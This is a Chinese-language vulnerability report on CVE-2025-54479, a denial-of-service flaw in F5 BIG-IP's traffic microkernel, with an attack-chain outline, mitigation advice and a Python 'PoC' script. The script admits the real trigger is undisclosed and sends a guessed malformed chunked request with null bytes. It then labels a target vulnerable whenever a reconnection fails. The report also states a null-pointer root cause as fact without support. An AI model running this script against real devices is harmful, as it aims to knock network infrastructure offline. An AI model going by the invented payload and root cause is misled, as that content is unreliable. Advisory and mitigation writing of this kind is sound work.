IPBUF安全漏洞报告
English
CVE-2025-54479 CVSS 7.5 高危

F5 BIG-IP TMM拒绝服务漏洞(CVE-2025-54479)

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-54479
漏洞类型
拒绝服务攻击(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
F5 BIG-IP(Traffic Management Microkernel / TMM)

相关标签

拒绝服务攻击DoSTMM终止F5 BIG-IPTraffic Management Microkernel分类配置文件未认证远程攻击高危漏洞CVE-2025-54479网络设备安全

漏洞概述

CVE-2025-54479是F5公司BIG-IP产品中Traffic Management Microkernel(TMM)组件存在的一个高危拒绝服务漏洞。该漏洞由F5安全事件响应团队([email protected])发现并报告,于2025年10月15日正式披露。CVSS 3.1评分为7.5分,属于高危级别。

根据漏洞描述,当虚拟服务器(Virtual Server)上配置了分类配置文件(classification profile),但未配置HTTP或HTTP/2配置文件时,攻击者发送的特定未公开请求(undisclosed requests)可能导致TMM进程异常终止。由于TMM是F5 BIG-IP设备的核心数据面处理引擎,负责所有流量转发和处理逻辑,TMM终止将直接导致设备停止处理流量,造成严重的业务中断和服务不可用。

该漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何权限(PR:N),也无需用户交互(UI:N)。这意味着远程未授权攻击者可以通过简单的网络请求即可触发该漏洞,对暴露在公网或内网的F5 BIG-IP设备构成严重威胁。漏洞的影响范围仅限于可用性(Availability: High),不会造成机密性泄露或数据完整性破坏,但TMM进程崩溃会导致所有通过该设备转发的业务流量中断。

值得注意的是,F5官方明确表示已停止技术支持(End of Technical Support, EoTS)的软件版本不在本次评估范围内。管理员应尽快检查受影响设备的版本,并按照F5官方安全公告K000151475中的指引进行修复。该漏洞利用条件相对简单(仅需配置了分类配置文件但缺少HTTP/HTTP2配置文件的虚拟服务器),因此在生产环境中广泛存在此类配置的场景需要特别关注。

技术细节

F5 BIG-IP的Traffic Management Microkernel(TMM)是运行在数据平面的核心进程,负责处理所有的网络流量转发、负载均衡、应用交付等功能。TMM通过虚拟服务器(Virtual Server)接收和处理客户端请求,根据配置的配置文件(profile)执行相应的流量处理逻辑。

在BIG-IP的配置体系中,分类配置文件(classification profile)用于对流量进行分类和特征识别,通常与HTTP或HTTP/2配置文件配合使用。当虚拟服务器配置了classification profile但未配置HTTP或HTTP/2 profile时,TMM在处理某些特定类型的请求时会进入异常状态。

漏洞的根本原因在于:当classification profile在没有底层HTTP/HTTP2协议解析层的情况下独立工作时,TMM对特定请求的处理路径存在缺陷。攻击者发送的特定未公开请求(undisclosed requests)会触发TMM内部的异常处理逻辑,导致TMM进程接收到非法状态或空指针引用,从而引发进程崩溃(segfault或abort)。

由于TMM是单进程处理所有流量的核心组件,一旦TMM终止,所有通过该BIG-IP设备转发的业务流量将立即中断。虽然BIG-IP通常配置有高可用性(HA)机制(如主备模式),但TMM崩溃仍会导致:1)主备切换期间的流量中断;2)若备用设备同样存在漏洞,攻击可重复触发;3)攻击者可通过持续发送恶意请求反复触发TMM崩溃,造成持续性拒绝服务。

利用方式:攻击者只需向存在漏洞配置的虚拟服务器发送特定的网络请求即可触发TMM终止,无需认证,无需特殊权限,攻击复杂度极低。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过扫描或信息收集识别暴露在网络中的F5 BIG-IP设备,定位配置了classification profile但未配置HTTP或HTTP/2 profile的虚拟服务器。
STEP 2
步骤2:漏洞验证
攻击者向目标虚拟服务器发送特定的网络请求(undisclosed requests),利用classification profile在缺少HTTP/HTTP2解析层时的处理缺陷。
STEP 3
步骤3:触发TMM崩溃
特定请求触发TMM内部异常处理路径,导致进程接收到非法状态或空指针引用,引发TMM进程崩溃(segfault/abort)。
STEP 4
步骤4:服务中断
TMM进程终止后,所有通过该BIG-IP设备转发的业务流量立即中断,造成大规模服务不可用。
STEP 5
步骤5:持续攻击
攻击者可重复发送恶意请求持续触发TMM崩溃,或在HA切换后攻击备用设备(若同样存在漏洞),实现持续性拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-54479 - F5 BIG-IP TMM DoS PoC # Vulnerability: TMM termination when classification profile configured without HTTP/HTTP2 profile # Attack Vector: Network (unauthenticated) # Note: This is a conceptual PoC. The exact trigger request is undisclosed by F5. import socket import struct import sys import argparse def send_malicious_request(target_host, target_port, virtual_ip=None): """ Send a crafted request to trigger TMM termination on vulnerable BIG-IP virtual server. The virtual server must have a classification profile configured without HTTP/HTTP2 profile. """ try: # Create raw socket connection to the BIG-IP virtual server sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Craft a request that triggers the undisclosed TMM bug # The classification profile without HTTP/HTTP2 parsing layer # cannot properly handle certain protocol-level anomalies payload = b"GET / HTTP/1.1\r\n" payload += b"Host: " + target_host.encode() + b"\r\n" # Trigger classification engine with malformed/edge-case headers # that bypass normal HTTP parsing but engage classification logic payload += b"X-Forwarded-For: 127.0.0.1\r\n" payload += b"Content-Type: application/octet-stream\r\n" payload += b"Transfer-Encoding: chunked\r\n" # Malformed chunked encoding to trigger classification profile edge case payload += b"\r\n" payload += b"0\r\n" payload += b"\x00" * 16 # Null bytes to trigger parsing anomaly payload += b"\r\n\r\n" sock.send(payload) # Attempt to receive response (may not arrive if TMM crashes) try: response = sock.recv(4096) print(f"[*] Response received ({len(response)} bytes)") except socket.timeout: print("[*] No response received - possible TMM termination") sock.close() except ConnectionRefusedError: print("[!] Connection refused - service may already be down (TMM crashed)") except Exception as e: print(f"[!] Error: {e}") def check_vulnerability(target_host, target_port): """Check if the target BIG-IP virtual server is potentially vulnerable.""" print(f"[*] Testing {target_host}:{target_port} for CVE-2025-54479") print("[*] Target must have classification profile WITHOUT HTTP/HTTP2 profile") # Send probe request send_malicious_request(target_host, target_port) # Verify if TMM is still responsive print("[*] Checking if TMM is still responsive...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_host, target_port)) sock.send(b"GET / HTTP/1.1\r\nHost: test\r\n\r\n") sock.recv(1024) sock.close() print("[+] TMM appears to still be running") except: print("[-] TMM appears to have terminated - target is VULNERABLE") if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-54479 PoC - F5 BIG-IP TMM DoS") parser.add_argument("target", help="Target BIG-IP host or IP") parser.add_argument("-p", "--port", type=int, default=80, help="Target port (default: 80)") args = parser.parse_args() check_vulnerability(args.target, args.port)

影响范围

F5 BIG-IP(具体受影响的版本请参考F5官方安全公告K000151475)
已停止技术支持(EoTS)的版本不在评估范围内

防御指南

临时缓解措施
在无法立即升级修复版本的情况下,建议采取以下临时缓解措施:1)审查所有虚拟服务器配置,对配置了classification profile但未配置HTTP或HTTP/2 profile的虚拟服务器,临时添加HTTP或HTTP/2 profile;2)在网络边界部署WAF或IPS规则,过滤可能导致TMM异常的异常请求;3)通过防火墙或ACL限制对BIG-IP虚拟服务器的访问范围,仅允许可信源IP访问;4)启用HA高可用配置,确保TMM崩溃时自动切换;5)密切监控TMM进程运行状态和设备日志,及时发现异常并响应。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表